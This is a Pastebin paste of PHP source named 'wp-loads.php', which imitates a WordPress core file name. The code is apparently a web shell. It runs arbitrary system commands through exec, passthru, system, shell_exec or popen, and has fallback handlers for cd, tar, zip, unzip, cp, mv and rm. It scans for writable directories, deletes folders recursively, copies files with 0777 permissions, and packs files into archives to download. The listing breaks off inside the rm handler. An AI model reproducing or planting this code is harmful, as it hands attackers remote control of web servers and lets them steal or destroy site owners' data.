PalmaSolutions

wp-loads.php

May 14th, 2018
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 32.58 KB | None | 0 0
  1. <?php
  2.  
  3. set_magic_quotes_runtime(0);
  4.  
  5. if(strtolower(substr(PHP_OS,0,3)) == "win") {
  6.     define('DS', "\\") ;
  7.     $os = 'win';
  8. } else {
  9.     define('DS', "/") ;
  10.     $os = 'nix';
  11. }
  12.  
  13. if(!function_exists("scandir")) {
  14.     function scandir($dir) {
  15.         $dh  = opendir($dir);
  16.         while (false !== ($filename = readdir($dh)))
  17.             $files[] = $filename;
  18.         return $files;
  19.     }
  20. }
  21.  
  22. function scandir_rec($dir, $dirs_only=false, $maxdepth=0, $writable=false, $no_root=false) {
  23.     $_content = scandir($dir) ;
  24.     $content = array() ;
  25.  
  26.     if(!$no_root) {
  27.         if(is_dir($dir) || !$dirs_only) {
  28.             if(!$writable || is_writeable($dir)) {
  29.                 $content[] = $dir ;
  30.             }
  31.         }
  32.     }
  33.  
  34.     if($_content && is_array($_content)) {
  35.         foreach($_content as $k=>$v) {
  36.             if(!preg_match("/^\./", $v)) {
  37.                 if(is_dir($dir . DS . $v) || !$dirs_only) {
  38.                     if(!$writable || is_writeable($dir . DS . $v)) {
  39.                         $content[] = $dir . DS . $v ;
  40.                     }
  41.                 }
  42.             }
  43.             if(!preg_match("/^\./", $v) && is_dir($dir . DS . $v)) {
  44.                 if($maxdepth > 0) {
  45.                     $__content = scandir_rec($dir . DS . $v, $dirs_only, $maxdepth-1, $writable, true) ;
  46.                     if($__content) {
  47.                         foreach($__content as $kk=>$vv) {
  48.                             if(is_dir($dir . DS . $v) || !$dirs_only) {
  49.                                 if(!$writable || is_writeable($dir . DS . $vv)) {
  50.                                     $content[] = $vv ;
  51.                                 }
  52.                             }
  53.                         }
  54.                     }
  55.                 }
  56.             }    
  57.         }
  58.     }
  59.     return $content ;
  60. }
  61.  
  62. function cust_function_exists($function) {
  63.   $disabled = explode(', ', ini_get('disable_functions'));
  64.   return !in_array($function, $disabled) && function_exists($function);
  65. }
  66.  
  67. function deleteDir($path) {
  68.     $path = (substr($path,-1)=='/') ? $path:$path.'/';
  69.     $dh  = opendir($path);
  70.     while ( ($item = readdir($dh) ) !== false) {
  71.         $item = $path.$item;
  72.         if ( (basename($item) == "..") || (basename($item) == ".") )
  73.             continue;
  74.         if (is_dir($item)) {
  75.             deleteDir($item);
  76.         } elseif(is_file($item)) {
  77.             @unlink($item);
  78.         }
  79.     }
  80.     closedir($dh);
  81.     @rmdir($path);
  82. }
  83.  
  84. function smartCopy($source, $dest, $options=array('folderPermission'=>0777,'filePermission'=>0777)) {
  85.     $result=false;
  86.  
  87.     if (is_file($source)) {
  88.         if ($dest[strlen($dest)-1]=='/') {
  89.             if (!file_exists($dest)) {
  90.                 cmfcDirectory::makeAll($dest,$options['folderPermission'],true);
  91.             }
  92.             $__dest=$dest."/".basename($source);
  93.         } else {
  94.             $__dest=$dest;
  95.         }
  96.         $result=copy($source, $__dest);
  97.         chmod($__dest,$options['filePermission']);
  98.        
  99.      } elseif(is_dir($source)) {
  100.         if ($dest[strlen($dest)-1]=='/') {
  101.             if ($source[strlen($source)-1]=='/') {
  102.                 //Copy only contents
  103.             } else {
  104.                 //Change parent itself and its contents
  105.                 $dest=$dest.basename($source);
  106.                 @mkdir($dest);
  107.                 chmod($dest,$options['filePermission']);
  108.             }
  109.         } else {
  110.             if ($source[strlen($source)-1]=='/') {
  111.                 //Copy parent directory with new name and all its content
  112.                 @mkdir($dest,$options['folderPermission']);
  113.                 chmod($dest,$options['filePermission']);
  114.             } else {
  115.                 //Copy parent directory with new name and all its content
  116.                 @mkdir($dest,$options['folderPermission']);
  117.                 chmod($dest,$options['filePermission']);
  118.             }
  119.         }
  120.  
  121.         $dirHandle=opendir($source);
  122.         while($file=readdir($dirHandle))
  123.         {
  124.             if($file!="." && $file!="..")
  125.             {
  126.                 if(!is_dir($source."/".$file)) {
  127.                     $__dest=$dest."/".$file;
  128.                 } else {
  129.                     $__dest=$dest."/".$file;
  130.                 }
  131.                 //echo "$source/$file ||| $__dest<br />";
  132.                 $result=smartCopy($source."/".$file, $__dest, $options);
  133.             }
  134.         }
  135.         closedir($dirHandle);
  136.            
  137.     } else {
  138.         $result=false;
  139.     }
  140.     return $result;
  141.  }
  142.  
  143. class archive
  144. {
  145.     function archive($name)
  146.     {
  147.         $this->options = array (
  148.             'basedir' => ".",
  149.             'name' => $name,
  150.             'prepend' => "",
  151.             'inmemory' => 0,
  152.             'overwrite' => 0,
  153.             'recurse' => 1,
  154.             'storepaths' => 1,
  155.             'followlinks' => 0,
  156.             'level' => 3,
  157.             'method' => 1,
  158.             'sfx' => "",
  159.             'type' => "",
  160.             'comment' => ""
  161.         );
  162.         $this->files = array ();
  163.         $this->exclude = array ();
  164.         $this->storeonly = array ();
  165.         $this->error = array ();
  166.     }
  167.  
  168.     function set_options($options)
  169.     {
  170.         foreach ($options as $key => $value)
  171.             $this->options[$key] = $value;
  172.         if (!empty ($this->options['basedir']))
  173.         {
  174.             $this->options['basedir'] = str_replace("\\", "/", $this->options['basedir']);
  175.             $this->options['basedir'] = preg_replace("/\/+/", "/", $this->options['basedir']);
  176.             $this->options['basedir'] = preg_replace("/\/$/", "", $this->options['basedir']);
  177.         }
  178.         if (!empty ($this->options['name']))
  179.         {
  180.             $this->options['name'] = str_replace("\\", "/", $this->options['name']);
  181.             $this->options['name'] = preg_replace("/\/+/", "/", $this->options['name']);
  182.         }
  183.         if (!empty ($this->options['prepend']))
  184.         {
  185.             $this->options['prepend'] = str_replace("\\", "/", $this->options['prepend']);
  186.             $this->options['prepend'] = preg_replace("/^(\.*\/+)+/", "", $this->options['prepend']);
  187.             $this->options['prepend'] = preg_replace("/\/+/", "/", $this->options['prepend']);
  188.             $this->options['prepend'] = preg_replace("/\/$/", "", $this->options['prepend']) . "/";
  189.         }
  190.     }
  191.  
  192.     function create_archive()
  193.     {
  194.         $this->make_list();
  195.  
  196.         if ($this->options['inmemory'] == 0)
  197.         {
  198.             $pwd = getcwd();
  199.             chdir($this->options['basedir']);
  200.             if ($this->options['overwrite'] == 0 && file_exists($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip" ? ".tmp" : "")))
  201.             {
  202.                 $this->error[] = "File {$this->options['name']} already exists.";
  203.                 chdir($pwd);
  204.                 return 0;
  205.             }
  206.             else if ($this->archive = @fopen($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip" ? ".tmp" : ""), "wb+"))
  207.                 chdir($pwd);
  208.             else
  209.             {
  210.                 $this->error[] = "Could not open {$this->options['name']} for writing.";
  211.                 chdir($pwd);
  212.                 return 0;
  213.             }
  214.         }
  215.         else
  216.             $this->archive = "";
  217.  
  218.         switch ($this->options['type'])
  219.         {
  220.         case "zip":
  221.             if (!$this->create_zip())
  222.             {
  223.                 $this->error[] = "Could not create zip file.";
  224.                 return 0;
  225.             }
  226.             break;
  227.         case "bzip":
  228.             if (!$this->create_tar())
  229.             {
  230.                 $this->error[] = "Could not create tar file.";
  231.                 return 0;
  232.             }
  233.             if (!$this->create_bzip())
  234.             {
  235.                 $this->error[] = "Could not create bzip2 file.";
  236.                 return 0;
  237.             }
  238.             break;
  239.         case "gzip":
  240.             if (!$this->create_tar())
  241.             {
  242.                 $this->error[] = "Could not create tar file.";
  243.                 return 0;
  244.             }
  245.             if (!$this->create_gzip())
  246.             {
  247.                 $this->error[] = "Could not create gzip file.";
  248.                 return 0;
  249.             }
  250.             break;
  251.         case "tar":
  252.             if (!$this->create_tar())
  253.             {
  254.                 $this->error[] = "Could not create tar file.";
  255.                 return 0;
  256.             }
  257.         }
  258.  
  259.         if ($this->options['inmemory'] == 0)
  260.         {
  261.             fclose($this->archive);
  262.             if ($this->options['type'] == "gzip" || $this->options['type'] == "bzip")
  263.                 unlink($this->options['basedir'] . "/" . $this->options['name'] . ".tmp");
  264.         }
  265.     }
  266.  
  267.     function add_data($data)
  268.     {
  269.         if ($this->options['inmemory'] == 0)
  270.             fwrite($this->archive, $data);
  271.         else
  272.             $this->archive .= $data;
  273.     }
  274.  
  275.     function make_list()
  276.     {
  277.         if (!empty ($this->exclude))
  278.             foreach ($this->files as $key => $value)
  279.                 foreach ($this->exclude as $current)
  280.                     if ($value['name'] == $current['name'])
  281.                         unset ($this->files[$key]);
  282.         if (!empty ($this->storeonly))
  283.             foreach ($this->files as $key => $value)
  284.                 foreach ($this->storeonly as $current)
  285.                     if ($value['name'] == $current['name'])
  286.                         $this->files[$key]['method'] = 0;
  287.         unset ($this->exclude, $this->storeonly);
  288.     }
  289.  
  290.     function add_files($list)
  291.     {
  292.         $temp = $this->list_files($list);
  293.         foreach ($temp as $current)
  294.             $this->files[] = $current;
  295.     }
  296.  
  297.     function exclude_files($list)
  298.     {
  299.         $temp = $this->list_files($list);
  300.         foreach ($temp as $current)
  301.             $this->exclude[] = $current;
  302.     }
  303.  
  304.     function store_files($list)
  305.     {
  306.         $temp = $this->list_files($list);
  307.         foreach ($temp as $current)
  308.             $this->storeonly[] = $current;
  309.     }
  310.  
  311.     function list_files($list)
  312.     {
  313.         if (!is_array ($list))
  314.         {
  315.             $temp = $list;
  316.             $list = array ($temp);
  317.             unset ($temp);
  318.         }
  319.  
  320.         $files = array ();
  321.  
  322.         $pwd = getcwd();
  323.         chdir($this->options['basedir']);
  324.  
  325.         foreach ($list as $current)
  326.         {
  327.             $current = str_replace("\\", "/", $current);
  328.             $current = preg_replace("/\/+/", "/", $current);
  329.             $current = preg_replace("/\/$/", "", $current);
  330.             if (strstr($current, "*"))
  331.             {
  332.                 $regex = preg_replace("/([\\\^\$\.\[\]\|\(\)\?\+\{\}\/])/", "\\\\\\1", $current);
  333.                 $regex = str_replace("*", ".*", $regex);
  334.                 $dir = strstr($current, "/") ? substr($current, 0, strrpos($current, "/")) : ".";
  335.                 $temp = $this->parse_dir($dir);
  336.                 foreach ($temp as $current2)
  337.                     if (preg_match("/^{$regex}$/i", $current2['name']))
  338.                         $files[] = $current2;
  339.                 unset ($regex, $dir, $temp, $current);
  340.             }
  341.             else if (@is_dir($current))
  342.             {
  343.                 $temp = $this->parse_dir($current);
  344.                 foreach ($temp as $file)
  345.                     $files[] = $file;
  346.                 unset ($temp, $file);
  347.             }
  348.             else if (@file_exists($current))
  349.                 $files[] = array ('name' => $current, 'name2' => $this->options['prepend'] .
  350.                     preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($current, "/")) ?
  351.                     substr($current, strrpos($current, "/") + 1) : $current),
  352.                     'type' => @is_link($current) && $this->options['followlinks'] == 0 ? 2 : 0,
  353.                     'ext' => substr($current, strrpos($current, ".")), 'stat' => stat($current));
  354.         }
  355.  
  356.         chdir($pwd);
  357.  
  358.         unset ($current, $pwd);
  359.  
  360.         usort($files, array ("archive", "sort_files"));
  361.  
  362.         return $files;
  363.     }
  364.  
  365.     function parse_dir($dirname)
  366.     {
  367.         if ($this->options['storepaths'] == 1 && !preg_match("/^(\.+\/*)+$/", $dirname))
  368.             $files = array (array ('name' => $dirname, 'name2' => $this->options['prepend'] .
  369.                 preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($dirname, "/")) ?
  370.                 substr($dirname, strrpos($dirname, "/") + 1) : $dirname), 'type' => 5, 'stat' => stat($dirname)));
  371.         else
  372.             $files = array ();
  373.         $dir = @opendir($dirname);
  374.  
  375.         while ($file = @readdir($dir))
  376.         {
  377.             $fullname = $dirname . "/" . $file;
  378.             if ($file == "." || $file == "..")
  379.                 continue;
  380.             else if (@is_dir($fullname))
  381.             {
  382.                 if (empty ($this->options['recurse']))
  383.                     continue;
  384.                 $temp = $this->parse_dir($fullname);
  385.                 foreach ($temp as $file2)
  386.                     $files[] = $file2;
  387.             }
  388.             else if (@file_exists($fullname))
  389.                 $files[] = array ('name' => $fullname, 'name2' => $this->options['prepend'] .
  390.                     preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($fullname, "/")) ?
  391.                     substr($fullname, strrpos($fullname, "/") + 1) : $fullname),
  392.                     'type' => @is_link($fullname) && $this->options['followlinks'] == 0 ? 2 : 0,
  393.                     'ext' => substr($file, strrpos($file, ".")), 'stat' => stat($fullname));
  394.         }
  395.  
  396.         @closedir($dir);
  397.  
  398.         return $files;
  399.     }
  400.  
  401.     function sort_files($a, $b)
  402.     {
  403.         if ($a['type'] != $b['type'])
  404.             if ($a['type'] == 5 || $b['type'] == 2)
  405.                 return -1;
  406.             else if ($a['type'] == 2 || $b['type'] == 5)
  407.                 return 1;
  408.         else if ($a['type'] == 5)
  409.             return strcmp(strtolower($a['name']), strtolower($b['name']));
  410.         else if ($a['ext'] != $b['ext'])
  411.             return strcmp($a['ext'], $b['ext']);
  412.         else if ($a['stat'][7] != $b['stat'][7])
  413.             return $a['stat'][7] > $b['stat'][7] ? -1 : 1;
  414.         else
  415.             return strcmp(strtolower($a['name']), strtolower($b['name']));
  416.         return 0;
  417.     }
  418.  
  419.     function download_file()
  420.     {
  421.         if ($this->options['inmemory'] == 0)
  422.         {
  423.             $this->error[] = "Can only use download_file() if archive is in memory. Redirect to file otherwise, it is faster.";
  424.             return;
  425.         }
  426.         switch ($this->options['type'])
  427.         {
  428.         case "zip":
  429.             header("Content-Type: application/zip");
  430.             break;
  431.         case "bzip":
  432.             header("Content-Type: application/x-bzip2");
  433.             break;
  434.         case "gzip":
  435.             header("Content-Type: application/x-gzip");
  436.             break;
  437.         case "tar":
  438.             header("Content-Type: application/x-tar");
  439.         }
  440.         $header = "Content-Disposition: attachment; filename=\"";
  441.         $header .= strstr($this->options['name'], "/") ? substr($this->options['name'], strrpos($this->options['name'], "/") + 1) : $this->options['name'];
  442.         $header .= "\"";
  443.         header($header);
  444.         header("Content-Length: " . strlen($this->archive));
  445.         header("Content-Transfer-Encoding: binary");
  446.         header("Cache-Control: no-cache, must-revalidate, max-age=60");
  447.         header("Expires: Sat, 01 Jan 2000 12:00:00 GMT");
  448.         print($this->archive);
  449.     }
  450. }
  451.  
  452. class tar_file extends archive
  453. {
  454.     function tar_file($name)
  455.     {
  456.         $this->archive($name);
  457.         $this->options['type'] = "tar";
  458.     }
  459.  
  460.     function create_tar()
  461.     {
  462.         $pwd = getcwd();
  463.         chdir($this->options['basedir']);
  464.  
  465.         foreach ($this->files as $current)
  466.         {
  467.             if ($current['name'] == $this->options['name'])
  468.                 continue;
  469.             if (strlen($current['name2']) > 99)
  470.             {
  471.                 $path = substr($current['name2'], 0, strpos($current['name2'], "/", strlen($current['name2']) - 100) + 1);
  472.                 $current['name2'] = substr($current['name2'], strlen($path));
  473.                 if (strlen($path) > 154 || strlen($current['name2']) > 99)
  474.                 {
  475.                     $this->error[] = "Could not add {$path}{$current['name2']} to archive because the filename is too long.";
  476.                     continue;
  477.                 }
  478.             }
  479.             $block = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12", $current['name2'], sprintf("%07o",
  480.                 $current['stat'][2]), sprintf("%07o", $current['stat'][4]), sprintf("%07o", $current['stat'][5]),
  481.                 sprintf("%011o", $current['type'] == 2 ? 0 : $current['stat'][7]), sprintf("%011o", $current['stat'][9]),
  482.                 "        ", $current['type'], $current['type'] == 2 ? @readlink($current['name']) : "", "ustar ", " ",
  483.                 "Unknown", "Unknown", "", "", !empty ($path) ? $path : "", "");
  484.  
  485.             $checksum = 0;
  486.             for ($i = 0; $i < 512; $i++)
  487.                 $checksum += ord(substr($block, $i, 1));
  488.             $checksum = pack("a8", sprintf("%07o", $checksum));
  489.             $block = substr_replace($block, $checksum, 148, 8);
  490.  
  491.             if ($current['type'] == 2 || $current['stat'][7] == 0)
  492.                 $this->add_data($block);
  493.             else if ($fp = @fopen($current['name'], "rb"))
  494.             {
  495.                 $this->add_data($block);
  496.                 while ($temp = fread($fp, 1048576))
  497.                     $this->add_data($temp);
  498.                 if ($current['stat'][7] % 512 > 0)
  499.                 {
  500.                     $temp = "";
  501.                     for ($i = 0; $i < 512 - $current['stat'][7] % 512; $i++)
  502.                         $temp .= "\0";
  503.                     $this->add_data($temp);
  504.                 }
  505.                 fclose($fp);
  506.             }
  507.             else
  508.                 $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
  509.         }
  510.  
  511.         $this->add_data(pack("a1024", ""));
  512.  
  513.         chdir($pwd);
  514.  
  515.         return 1;
  516.     }
  517.  
  518.     function extract_files()
  519.     {
  520.         $pwd = getcwd();
  521.         chdir($this->options['basedir']);
  522.  
  523.         if ($fp = $this->open_archive())
  524.         {
  525.             if ($this->options['inmemory'] == 1)
  526.                 $this->files = array ();
  527.  
  528.             while ($block = fread($fp, 512))
  529.             {
  530.                 $temp = unpack("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100symlink/a6magic/a2temp/a32temp/a32temp/a8temp/a8temp/a155prefix/a12temp", $block);
  531.                 $file = array (
  532.                     'name' => $temp['prefix'] . $temp['name'],
  533.                     'stat' => array (
  534.                         2 => $temp['mode'],
  535.                         4 => octdec($temp['uid']),
  536.                         5 => octdec($temp['gid']),
  537.                         7 => octdec($temp['size']),
  538.                         9 => octdec($temp['mtime']),
  539.                     ),
  540.                     'checksum' => octdec($temp['checksum']),
  541.                     'type' => $temp['type'],
  542.                     'magic' => $temp['magic'],
  543.                 );
  544.                 if ($file['checksum'] == 0x00000000)
  545.                     break;
  546.                 else if (substr($file['magic'], 0, 5) != "ustar")
  547.                 {
  548.                     $this->error[] = "This script does not support extracting this type of tar file.";
  549.                     break;
  550.                 }
  551.                 $block = substr_replace($block, "        ", 148, 8);
  552.                 $checksum = 0;
  553.                 for ($i = 0; $i < 512; $i++)
  554.                     $checksum += ord(substr($block, $i, 1));
  555.                 if ($file['checksum'] != $checksum)
  556.                     $this->error[] = "Could not extract from {$this->options['name']}, it is corrupt.";
  557.  
  558.                 if ($this->options['inmemory'] == 1)
  559.                 {
  560.                     $file['data'] = fread($fp, $file['stat'][7]);
  561.                     fread($fp, (512 - $file['stat'][7] % 512) == 512 ? 0 : (512 - $file['stat'][7] % 512));
  562.                     unset ($file['checksum'], $file['magic']);
  563.                     $this->files[] = $file;
  564.                 }
  565.                 else if ($file['type'] == 5)
  566.                 {
  567.                     if (!is_dir($file['name']))
  568.                         mkdir($file['name'], $file['stat'][2]);
  569.                 }
  570.                 else if ($this->options['overwrite'] == 0 && file_exists($file['name']))
  571.                 {
  572.                     $this->error[] = "{$file['name']} already exists.";
  573.                     continue;
  574.                 }
  575.                 else if ($file['type'] == 2)
  576.                 {
  577.                     symlink($temp['symlink'], $file['name']);
  578.                     chmod($file['name'], $file['stat'][2]);
  579.                 }
  580.                 else if ($new = @fopen($file['name'], "wb"))
  581.                 {
  582.                     fwrite($new, fread($fp, $file['stat'][7]));
  583.                     fread($fp, (512 - $file['stat'][7] % 512) == 512 ? 0 : (512 - $file['stat'][7] % 512));
  584.                     fclose($new);
  585.                     chmod($file['name'], $file['stat'][2]);
  586.                 }
  587.                 else
  588.                 {
  589.                     $this->error[] = "Could not open {$file['name']} for writing.";
  590.                     continue;
  591.                 }
  592.                 chown($file['name'], $file['stat'][4]);
  593.                 chgrp($file['name'], $file['stat'][5]);
  594.                 touch($file['name'], $file['stat'][9]);
  595.                 unset ($file);
  596.             }
  597.         }
  598.         else
  599.             $this->error[] = "Could not open file {$this->options['name']}";
  600.  
  601.         chdir($pwd);
  602.     }
  603.  
  604.     function open_archive()
  605.     {
  606.         return @fopen($this->options['name'], "rb");
  607.     }
  608. }
  609.  
  610. class gzip_file extends tar_file
  611. {
  612.     function gzip_file($name)
  613.     {
  614.         $this->tar_file($name);
  615.         $this->options['type'] = "gzip";
  616.     }
  617.  
  618.     function create_gzip()
  619.     {
  620.         if ($this->options['inmemory'] == 0)
  621.         {
  622.             $pwd = getcwd();
  623.             chdir($this->options['basedir']);
  624.             if ($fp = gzopen($this->options['name'], "wb{$this->options['level']}"))
  625.             {
  626.                 fseek($this->archive, 0);
  627.                 while ($temp = fread($this->archive, 1048576))
  628.                     gzwrite($fp, $temp);
  629.                 gzclose($fp);
  630.                 chdir($pwd);
  631.             }
  632.             else
  633.             {
  634.                 $this->error[] = "Could not open {$this->options['name']} for writing.";
  635.                 chdir($pwd);
  636.                 return 0;
  637.             }
  638.         }
  639.         else
  640.             $this->archive = gzencode($this->archive, $this->options['level']);
  641.  
  642.         return 1;
  643.     }
  644.  
  645.     function open_archive()
  646.     {
  647.         return @gzopen($this->options['name'], "rb");
  648.     }
  649. }
  650.  
  651. class bzip_file extends tar_file
  652. {
  653.     function bzip_file($name)
  654.     {
  655.         $this->tar_file($name);
  656.         $this->options['type'] = "bzip";
  657.     }
  658.  
  659.     function create_bzip()
  660.     {
  661.         if ($this->options['inmemory'] == 0)
  662.         {
  663.             $pwd = getcwd();
  664.             chdir($this->options['basedir']);
  665.             if ($fp = bzopen($this->options['name'], "wb"))
  666.             {
  667.                 fseek($this->archive, 0);
  668.                 while ($temp = fread($this->archive, 1048576))
  669.                     bzwrite($fp, $temp);
  670.                 bzclose($fp);
  671.                 chdir($pwd);
  672.             }
  673.             else
  674.             {
  675.                 $this->error[] = "Could not open {$this->options['name']} for writing.";
  676.                 chdir($pwd);
  677.                 return 0;
  678.             }
  679.         }
  680.         else
  681.             $this->archive = bzcompress($this->archive, $this->options['level']);
  682.  
  683.         return 1;
  684.     }
  685.  
  686.     function open_archive()
  687.     {
  688.         return @bzopen($this->options['name'], "rb");
  689.     }
  690. }
  691.  
  692. class zip_file extends archive
  693. {
  694.     function zip_file($name)
  695.     {
  696.         $this->archive($name);
  697.         $this->options['type'] = "zip";
  698.     }
  699.  
  700.     function create_zip()
  701.     {
  702.         $files = 0;
  703.         $offset = 0;
  704.         $central = "";
  705.  
  706.         if (!empty ($this->options['sfx']))
  707.             if ($fp = @fopen($this->options['sfx'], "rb"))
  708.             {
  709.                 $temp = fread($fp, filesize($this->options['sfx']));
  710.                 fclose($fp);
  711.                 $this->add_data($temp);
  712.                 $offset += strlen($temp);
  713.                 unset ($temp);
  714.             }
  715.             else
  716.                 $this->error[] = "Could not open sfx module from {$this->options['sfx']}.";
  717.  
  718.         $pwd = getcwd();
  719.         chdir($this->options['basedir']);
  720.  
  721.         foreach ($this->files as $current)
  722.         {
  723.             if ($current['name'] == $this->options['name'])
  724.                 continue;
  725.  
  726.             $timedate = explode(" ", date("Y n j G i s", $current['stat'][9]));
  727.             $timedate = ($timedate[0] - 1980 << 25) | ($timedate[1] << 21) | ($timedate[2] << 16) |
  728.                 ($timedate[3] << 11) | ($timedate[4] << 5) | ($timedate[5]);
  729.  
  730.             $block = pack("VvvvV", 0x04034b50, 0x000A, 0x0000, (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate);
  731.  
  732.             if ($current['stat'][7] == 0 && $current['type'] == 5)
  733.             {
  734.                 $block .= pack("VVVvv", 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']) + 1, 0x0000);
  735.                 $block .= $current['name2'] . "/";
  736.                 $this->add_data($block);
  737.                 $central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014, $this->options['method'] == 0 ? 0x0000 : 0x000A, 0x0000,
  738.                     (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate,
  739.                     0x00000000, 0x00000000, 0x00000000, strlen($current['name2']) + 1, 0x0000, 0x0000, 0x0000, 0x0000, $current['type'] == 5 ? 0x00000010 : 0x00000000, $offset);
  740.                 $central .= $current['name2'] . "/";
  741.                 $files++;
  742.                 $offset += (31 + strlen($current['name2']));
  743.             }
  744.             else if ($current['stat'][7] == 0)
  745.             {
  746.                 $block .= pack("VVVvv", 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']), 0x0000);
  747.                 $block .= $current['name2'];
  748.                 $this->add_data($block);
  749.                 $central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014, $this->options['method'] == 0 ? 0x0000 : 0x000A, 0x0000,
  750.                     (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate,
  751.                     0x00000000, 0x00000000, 0x00000000, strlen($current['name2']), 0x0000, 0x0000, 0x0000, 0x0000, $current['type'] == 5 ? 0x00000010 : 0x00000000, $offset);
  752.                 $central .= $current['name2'];
  753.                 $files++;
  754.                 $offset += (30 + strlen($current['name2']));
  755.             }
  756.             else if ($fp = @fopen($current['name'], "rb"))
  757.             {
  758.                 $temp = fread($fp, $current['stat'][7]);
  759.                 fclose($fp);
  760.                 $crc32 = crc32($temp);
  761.                 if (!isset($current['method']) && $this->options['method'] == 1)
  762.                 {
  763.                     $temp = gzcompress($temp, $this->options['level']);
  764.                     $size = strlen($temp) - 6;
  765.                     $temp = substr($temp, 2, $size);
  766.                 }
  767.                 else
  768.                     $size = strlen($temp);
  769.                 $block .= pack("VVVvv", $crc32, $size, $current['stat'][7], strlen($current['name2']), 0x0000);
  770.                 $block .= $current['name2'];
  771.                 $this->add_data($block);
  772.                 $this->add_data($temp);
  773.                 unset ($temp);
  774.                 $central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014, $this->options['method'] == 0 ? 0x0000 : 0x000A, 0x0000,
  775.                     (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate,
  776.                     $crc32, $size, $current['stat'][7], strlen($current['name2']), 0x0000, 0x0000, 0x0000, 0x0000, 0x00000000, $offset);
  777.                 $central .= $current['name2'];
  778.                 $files++;
  779.                 $offset += (30 + strlen($current['name2']) + $size);
  780.             }
  781.             else
  782.                 $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
  783.         }
  784.  
  785.         $this->add_data($central);
  786.  
  787.         $this->add_data(pack("VvvvvVVv", 0x06054b50, 0x0000, 0x0000, $files, $files, strlen($central), $offset,
  788.             !empty ($this->options['comment']) ? strlen($this->options['comment']) : 0x0000));
  789.  
  790.         if (!empty ($this->options['comment']))
  791.             $this->add_data($this->options['comment']);
  792.  
  793.         chdir($pwd);
  794.  
  795.         return 1;
  796.     }
  797. }
  798.  
  799. function copy_paste($c,$s,$d){
  800.     if(is_dir($c.$s)) {
  801.         mkdir($d.$s);
  802.         $h = @opendir($c.$s);
  803.         while (($f = @readdir($h)) !== false) {
  804.             if (($f != ".") and ($f != "..")) {
  805.                 copy_paste($c.$s.DS,$f, $d.$s.DS);
  806.             }
  807.         }
  808.     } elseif(is_file($c.$s)) {
  809.         @copy($c.$s, $d.$s);
  810.     }
  811. }
  812.  
  813. function system_custom($in) {
  814.  
  815.     $out = '';
  816.     $system = false ;
  817.     if (cust_function_exists('exec')) {
  818.         $system = true ;
  819.         @exec($in,$out);
  820.         $out = @join("\n",$out);
  821.     } elseif (cust_function_exists('passthru')) {
  822.         $system = true ;
  823.         ob_start();
  824.         @passthru($in);
  825.         $out = ob_get_clean();
  826.     } elseif (cust_function_exists('system')) {
  827.         $system = true ;
  828.         ob_start();
  829.         @system($in);
  830.         $out = ob_get_clean();
  831.     } elseif (cust_function_exists('shell_exec')) {
  832.         $system = true ;
  833.         $out = shell_exec($in);
  834.     } elseif (is_resource($f = @popen($in,"r"))) {
  835.         $system = true ;
  836.         $out = "";
  837.         while(!@feof($f))
  838.             $out .= fread($f,1024);
  839.         pclose($f);
  840.     }
  841.  
  842.     if($system) {
  843.         return $out;
  844.     }
  845.  
  846.     $commands = explode(";", $in) ;
  847.  
  848.     $out = '' ;
  849.     $path = '' ;
  850.  
  851.     if($commands) {
  852.         foreach($commands as $command) {
  853.             $command_parts = explode(" ", $command) ;
  854.             $command_head = $command_parts[0] ;
  855.             $params = array() ;
  856.             if(count($command_parts) > 1) {
  857.                 for($i=1;$i<count($command_parts);$i++) {
  858.                     $params[] = trim($command_parts[$i]) ;
  859.                 }
  860.             }
  861.  
  862.             switch($command_head) {
  863.             case "cd":
  864.                 if($params[0]) {
  865.                     $path = $params[0] ;
  866.                     if(is_dir($path)) {
  867.                         @chdir($path) ;
  868.                     }
  869.                 }
  870.                 break;
  871.             case "tar":
  872.                 if(count($params) > 1) {
  873.                     $archive = new gzip_file($params[0]);
  874.                     $archive->set_options(array('basedir' => $path, 'overwrite' => 1, 'level' => 1));
  875.                     $archive->add_files(array($params[1]));
  876.                     $archive->create_archive();
  877.                 }
  878.                 break;
  879.             case "zip":
  880.                 if(class_exists('ZipArchive') && count($params) > 1) {
  881.                     $zip = new ZipArchive();
  882.                     if ($zip->open($params[0], 1)) {
  883.                         foreach($params as $k=>$param) {
  884.                             if($k == 0 || $param == '..')
  885.                                 continue;
  886.                             if(@is_file($param))
  887.                                 $zip->addFile($param, $param);
  888.                             elseif(@is_dir($param)) {
  889.                                 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($param.DS));
  890.                                 foreach ($iterator as $key=>$value) {
  891.                                     $zip->addFile(realpath($key), $key);
  892.                                 }
  893.                             }
  894.                         }
  895.                         $zip->close();
  896.                     }
  897.                 }
  898.                 break;
  899.             case "unzip":
  900.                 if(class_exists('ZipArchive') && count($params) > 0) {
  901.                     $zip = new ZipArchive();
  902.                     foreach($params as $k=>$param) {
  903.                         if($zip->open($param)) {
  904.                             $zip->extractTo($path);
  905.                             $zip->close();
  906.                         }
  907.                     }
  908.                 }                
  909.                 break;
  910.             case "cp":
  911.                 smartCopy($params[0], $params[1]) ;
  912.                 break;
  913.             case "mv":
  914.                 @rename($params[0], $params[1]) ;
  915.                 break;
  916.             case "rm":
  917.                 foreach($params as $param) {
  918.                     if(!preg_match("/^-/", $param)) {
  919.                         if($param == '..')
  920.                             continue;
  921.                         $param = urldecode($param);
  922.                         if(is_dir($param)) {
